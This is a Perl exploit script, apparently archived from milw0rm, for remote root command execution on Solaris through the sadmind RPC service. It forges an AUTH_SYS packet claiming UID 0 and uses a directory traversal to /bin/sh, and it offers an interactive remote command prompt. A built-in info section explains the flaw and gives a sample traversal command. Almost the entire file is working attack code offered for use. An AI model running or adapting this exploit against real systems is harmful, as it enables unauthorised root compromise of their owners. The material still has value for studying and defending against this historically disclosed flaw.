| #!/usr/bin/perl -w
|
| ##################
|
|
|
| ##
|
| # Title: rootdown.pl
|
| # Purpose: Solaris Remote command executiong via sadmind
|
| # Author: H D Moore hdm at metasploit.com
|
| # Copyright: Copyright (C) 2003 METASPLOIT.COM
|
| ##
|
|
|
|
|
| use strict;
|
| use POSIX;
|
| use IO::Socket;
|
| use IO::Select;
|
| use Getopt::Std;
|
|
|
| my $VERSION = "1.0";
|
| my %opts;
|
|
|
| getopts("h:p:c:r:iv", \%opts);
|
|
|
| if ($opts{v}) { show_info() }
|
|
|
| if (! $opts{h}) { usage() }
|
|
|
| my $target_host = $opts{h};
|
|
|
| my $target_name = "exploit";
|
|
|
| my $command = $opts{c} ? $opts{c} : "touch /tmp/OWNED_BY_SADMIND_\$\$";
|
| my $portmap = $opts{r} ? $opts{r} : 111;
|
|
|
|
|
| ##
|
| # Determine the port used by sadmind
|
| ##
|
|
|
| my $target_port = $opts{p} ? $opts{p} : rpc_getport($target_host, $portmap, 100232, 10);
|
|
|
| if (! $target_port)
|
| {
|
| print STDERR "Error: could not determine port used by sadmind\n";
|
| exit(0);
|
| }
|
|
|
| ##
|
| # Determine the hostname of the target
|
| ##
|
|
|
| my $s = rpc_socket($target_host, $target_port);
|
| my $x = rpc_sadmin_exec($target_name, "id");
|
| print $s $x;
|
| my $r = rpc_read($s);
|
| close ($s);
|
|
|
| if ($r && $r =~ m/Security exception on host (.*)\. USER/)
|
| {
|
| $target_name = $1;
|
| } else {
|
| print STDERR "Error: could not obtain target hostname.\n";
|
| exit(0);
|
| }
|
|
|
|
|
| ##
|
| # Execute commands :)
|
| ##
|
|
|
|
|
| my $interactive = 0;
|
|
|
| if ($opts{i}) { $interactive++ }
|
|
|
| do {
|
|
|
| if ($opts{i}) { $command = command_prompt() } else
|
| {
|
| print STDERR "Executing command on '$target_name' via port $target_port\n";
|
| }
|
|
|
| $s = rpc_socket($target_host, $target_port);
|
| $x = rpc_sadmin_exec($target_name, $command);
|
| print $s $x;
|
| $r = rpc_read($s);
|
| close ($s);
|
|
|
| if ($r)
|
| {
|
| # Command Failed
|
| if (length($r) == 36 && substr($r, 24, 4) eq "\x00\x00\x00\x29")
|
| {
|
| print STDERR "Error: something went wrong with the RPC format.\n";
|
| exit(0);
|
| }
|
|
|
| # Command might have failed
|
| if (length($r) == 36 && substr($r, 24, 4) eq "\x00\x00\x00\x2b")
|
| {
|
| print STDERR "Error: something may have gone wrong with the sadmind format\n";
|
| }
|
|
|
| # Confirmed success
|
| if (length($r) == 36 && substr($r, 24, 12) eq ("\x00" x 12))
|
| {
|
| print STDERR "Success: your command has been executed successfully.\n";
|
| }
|
|
|
| if (length($r) != 36) { print STDERR "Unknown Response: $r\n" }
|
|
|
| } else {
|
| print STDERR "Error: no response recieved, you may want to try again.\n";
|
| exit(0);
|
| }
|
|
|
| } while ($interactive);
|
|
|
| exit(0);
|
|
|
| sub usage {
|
| print STDERR "\n";
|
| print STDERR "+-----==[ rootdown.pl => Solaris SADMIND Remote Command Execution\n\n";
|
| print STDERR " Usage: $0 -h <target> -c <command> [options]\n";
|
| print STDERR " Options:\n";
|
| print STDERR " -i\tStart interactive mode (for multiple commands)\n";
|
| print STDERR " -p\tAvoid the portmapper and use this sadmind port\n";
|
| print STDERR " -r\tQuery alternate portmapper on this UDP port\n";
|
| print STDERR " -v\tDisplay information about this exploit\n";
|
|
|
| print STDERR "\n\n";
|
| exit(0);
|
| }
|
|
|
| sub show_info {
|
|
|
| print "\n\n";
|
| print " Name: rootdown.pl\n";
|
| print " Author: H D Moore <hdm\@metasploit.com>\n";
|
| print "Version: $VERSION\n\n";
|
|
|
| # not finsihed :)
|
| print
|
| "This exploit targets a weakness in the default security settings
|
| of the sadmind RPC application. This application is installed and
|
| enabled by default on most versions of the Solaris operating
|
| system.\n\n".
|
|
|
| "The sadmind application defaults to a weak security mode known as
|
| AUTH_SYS (or AUTH_UNIX under Linux/BSD). When running in this mode,
|
| the service will accept a structure containing the user and group
|
| IDs as well as the originating system name. These values are not
|
| validated in any form and are completely controlled by the client.
|
| If the standard sadmin RPC API calls are used to generate the request,
|
| the ADM_CLIENT_HOST parameter is filled in with the hostname of the
|
| client system. If the RPC packet is modified so that this field is
|
| set to the hostname of the remote system, it will be processed as
|
| if it was a local request. If the user ID is set to zero or the
|
| value of any user in the sysadmin group, it is possible to call
|
| arbitrary methods in any class available to sadmind.\n\n".
|
|
|
| "If the Solstice AdminSuite client software has not been installed,
|
| the only class available is 'system', which only contains a single
|
| method called 'admpipe'. The strings within this program seem to
|
| suggest that it can be used run arbitrary commands, however I chose
|
| a different method of command execution. Since each method is simply
|
| an executable in the class directory, it is possible to use a
|
| standard directory traversal attack to execute any application.
|
| We can pass arguments to these methods using the standard API.
|
|
|
| An example of spawning a shell which executes the 'id' command:
|
|
|
| # apm -c system -m ../../../../../bin/sh -a arg1=-c arg2=id\n\n".
|
|
|
| "To exploit this vulnerability, we must create a RPC packet that
|
| calls the '/bin/sh' method, passing it the parameter of the command
|
| we want to execute. To do this, packet dumps of the 'apm' tool
|
| were obtained and the format was slowly mapped. The hostname of
|
| the target system must be known for this exploit to work, however
|
| when sadmind is called with the wrong name, it replies with a
|
| 'ACCESS DENIED' error message containing the correct name. The
|
| final code does the following:
|
|
|
| 1) Queries the portmapper to determine the sadmind port
|
| 2) Sends an invalid request to sadmind to obtain the hostname
|
| 3) Uses the hostname to forge the RPC packet and execute commands
|
|
|
|
|
| This vulnerability was reported by Mark Zielinski and disclosed by iDefense.
|
|
|
| Related URLs:
|
|
|
| - http://www.idefense.com/advisory/09.16.03.txt
|
| - http://docs.sun.com/db/doc/816-0211/6m6nc676b?a=view
|
| ";
|
|
|
|
|
|
|
|
|
|
|
| exit(0);
|
| }
|
|
|
| sub command_prompt {
|
| select(STDOUT); $|++;
|
|
|
| print STDOUT "\nsadmind> ";
|
| my $command = <STDIN>;
|
| chomp($command);
|
| if (! $command || lc($command) eq "quit" || lc($command) eq "exit")
|
| {
|
| print "\nExiting interactive mode...\n";
|
| exit(0);
|
| }
|
| return ($command)
|
| }
|
|
|
| sub rpc_socket {
|
| my ($target_host, $target_port) = @_;
|
| my $s = IO::Socket::INET->new
|
| (
|
| PeerAddr => $target_host,
|
| PeerPort => $target_port,
|
| Proto => "udp",
|
| Type => SOCK_DGRAM
|
| );
|
|
|
| if (! $s)
|
| {
|
| print "\nError: could not create socket to target: $!\n";
|
| exit(0);
|
| }
|
|
|
| select($s); $|++;
|
| select(STDOUT); $|++;
|
| nonblock($s);
|
| return($s);
|
| }
|
|
|
| sub rpc_read {
|
| my ($s) = @_;
|
| my $sel = IO::Select->new($s);
|
| my $res;
|
| my @fds = $sel->can_read(4);
|
| foreach (@fds) { $res .= <$s>; }
|
| return $res;
|
| }
|
|
|
| sub nonblock {
|
| my ($fd) = @_;
|
| my $flags = fcntl($fd, F_GETFL,0);
|
| fcntl($fd, F_SETFL, $flags|O_NONBLOCK);
|
| }
|
|
|
| sub rpc_getport {
|
| my ($target_host, $target_port, $prog, $vers) = @_;
|
|
|
| my $s = rpc_socket($target_host, $target_port);
|
|
|
| my $portmap_req =
|
|
|
| pack("L", rand() * 0xffffffff) . # XID
|
| "\x00\x00\x00\x00". # Call
|
| "\x00\x00\x00\x02". # RPC Version
|
| "\x00\x01\x86\xa0". # Program Number (PORTMAP)
|
| "\x00\x00\x00\x02". # Program Version (2)
|
| "\x00\x00\x00\x03". # Procedure (getport)
|
| ("\x00" x 16). # Credentials and Verifier
|
| pack("N", $prog) .
|
| pack("N", $vers).
|
| pack("N", 0x11). # Protocol: UDP
|
| pack("N", 0x00); # Port: 0
|
|
|
| print $s $portmap_req;
|
|
|
| my $r = rpc_read($s);
|
| close ($s);
|
|
|
| if (length($r) == 28)
|
| {
|
| my $prog_port = unpack("N",substr($r, 24, 4));
|
| return($prog_port);
|
| }
|
|
|
| return undef;
|
| }
|
|
|
|
|
| sub rpc_sadmin_exec {
|
|
|
| my ($hostname, $command) = @_;
|
| my $packed_host = $hostname . ("\x00" x (59 - length($hostname)));
|
|
|
|
|
| my $rpc =
|
| pack("L", rand() * 0xffffffff) . # XID
|
| "\x00\x00\x00\x00". # Call
|
| "\x00\x00\x00\x02". # RPC Version
|
| "\x00\x01\x87\x88". # Program Number (SADMIND)
|
| "\x00\x00\x00\x0a". # Program Version (10)
|
| "\x00\x00\x00\x01". # Procedure
|
| "\x00\x00\x00\x01"; # Credentials (UNIX)
|
| # Auth Length is filled in
|
|
|
| # pad it up to multiples of 4
|
| my $rpc_hostname = $hostname;
|
| while (length($rpc_hostname) % 4 != 0) { $rpc_hostname .= "\x00" }
|
|
|
| my $rpc_auth =
|
| # Time Stamp
|
| pack("N", time() + 20001) .
|
|
|
| # Machine Name
|
| pack("N", length($hostname)) . $rpc_hostname .
|
|
|
| "\x00\x00\x00\x00". # UID = 0
|
| "\x00\x00\x00\x00". # GID = 0
|
| "\x00\x00\x00\x00"; # No Extra Groups
|
|
|
|
|
| $rpc .= pack("N", length($rpc_auth)) . $rpc_auth . ("\x00" x 8);
|
|
|
| my $header =
|
|
|
| # Another Time Stamp
|
| reverse(pack("L", time() + 20005)) .
|
|
|
| "\x00\x07\x45\xdf".
|
|
|
| "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
|
| "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06".
|
| "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
|
| "\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04".
|
|
|
| "\x7f\x00\x00\x01". # 127.0.0.1
|
| "\x00\x01\x87\x88". # SADMIND
|
|
|
| "\x00\x00\x00\x0a\x00\x00\x00\x04".
|
|
|
| "\x7f\x00\x00\x01". # 127.0.0.1
|
| "\x00\x01\x87\x88". # SADMIND
|
|
|
| "\x00\x00\x00\x0a\x00\x00\x00\x11\x00\x00\x00\x1e".
|
| "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
|
| "\x00\x00\x00\x00".
|
|
|
| "\x00\x00\x00\x3b". $packed_host.
|
|
|
| "\x00\x00\x00\x00\x06" . "system".
|
|
|
| "\x00\x00\x00\x00\x00\x15". "../../../../../bin/sh". "\x00\x00\x00";
|
|
|
| # Append Body Length ^-- Here
|
|
|
| my $body =
|
| "\x00\x00\x00\x0e". "ADM_FW_VERSION".
|
| "\x00\x00\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00".
|
| "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00".
|
|
|
| "\x00\x00\x00\x08". "ADM_LANG".
|
| "\x00\x00\x00\x09\x00\x00\x00\x02\x00\x00".
|
| "\x00\x01". "C" .
|
| "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
|
|
|
| "\x00\x00\x00\x0d". "ADM_REQUESTID".
|
| "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x12\x00\x00\x00\x11".
|
| "0810:1010101010:1"."\x00\x00\x00".
|
| "\x00\x00\x00\x00\x00\x00\x00\x00".
|
|
|
| "\x00\x00\x00\x09". "ADM_CLASS".
|
| "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x07".
|
| "\x00\x00\x00\x06" . "system" .
|
| "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
|
|
|
|
|
| "\x00\x00\x00\x0e" . "ADM_CLASS_VERS" .
|
| "\x00\x00\x00\x00\x00\x09\x00\x00\x00\x04".
|
| "\x00\x00\x00\x03". "2.1".
|
| "\x00\x00\x00\x00\x00\x00\x00\x00\x00".
|
|
|
|
|
| "\x00\x00\x00\x0a" . "ADM_METHOD" .
|
| "\x00\x00\x00\x00\x00\x09\x00\x00\x00\x16".
|
| "\x00\x00\x00\x15". "../../../../../bin/sh" .
|
| "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
|
|
|
| "\x00\x00\x00\x08". "ADM_HOST" .
|
| "\x00\x00\x00\x09\x00\x00\x00\x3c\x00\x00\x00\x3b".
|
| $packed_host.
|
|
|
| "\x00\x00\x00\x00\x00\x00\x00\x00\x00".
|
| "\x00\x00\x00\x0f". "ADM_CLIENT_HOST".
|
| "\x00\x00\x00\x00\x09".
|
|
|
| pack("N", length($hostname) + 1) .
|
| pack("N", length($hostname)) .
|
| $rpc_hostname .
|
| "\x00\x00\x00\x00". "\x00\x00\x00\x00".
|
|
|
| "\x00\x00\x00\x11" . "ADM_CLIENT_DOMAIN".
|
| "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00".
|
| "\x00\x00\x00\x00\x00\x00".
|
|
|
| "\x00\x00\x00\x11" . "ADM_TIMEOUT_PARMS".
|
| "\x00\x00\x00\x00\x00".
|
| "\x00\x09\x00\x00\x00\x1c".
|
| "\x00\x00\x00\x1b" . "TTL=0 PTO=20 PCNT=2 PDLY=30".
|
| "\x00\x00\x00\x00\x00\x00\x00\x00\x00".
|
|
|
|
|
| "\x00\x00\x00\x09" . "ADM_FENCE" .
|
| "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00\x00\x00".
|
| "\x00\x00\x00\x00\x00\x00\x01\x58\x00\x00\x00\x00\x00\x00\x09\x00".
|
| "\x00\x00\x03\x00\x00\x00\x02" . "-c" .
|
| "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x59\x00".
|
| "\x00\x00\x00\x00\x00\x09\x00\x00\x02\x01\x00\x00\x02\x00".
|
|
|
| $command . ("\x00" x (512 - length($command))).
|
|
|
| "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10".
|
| "netmgt_endofargs";
|
|
|
| my $res = $rpc . $header . pack("N", (length($body) + 4 + length($header)) - 330) . $body;
|
|
|
| return($res);
|
| }
|
|
|
|
|
|
|
| # milw0rm.com [2003-09-19] |
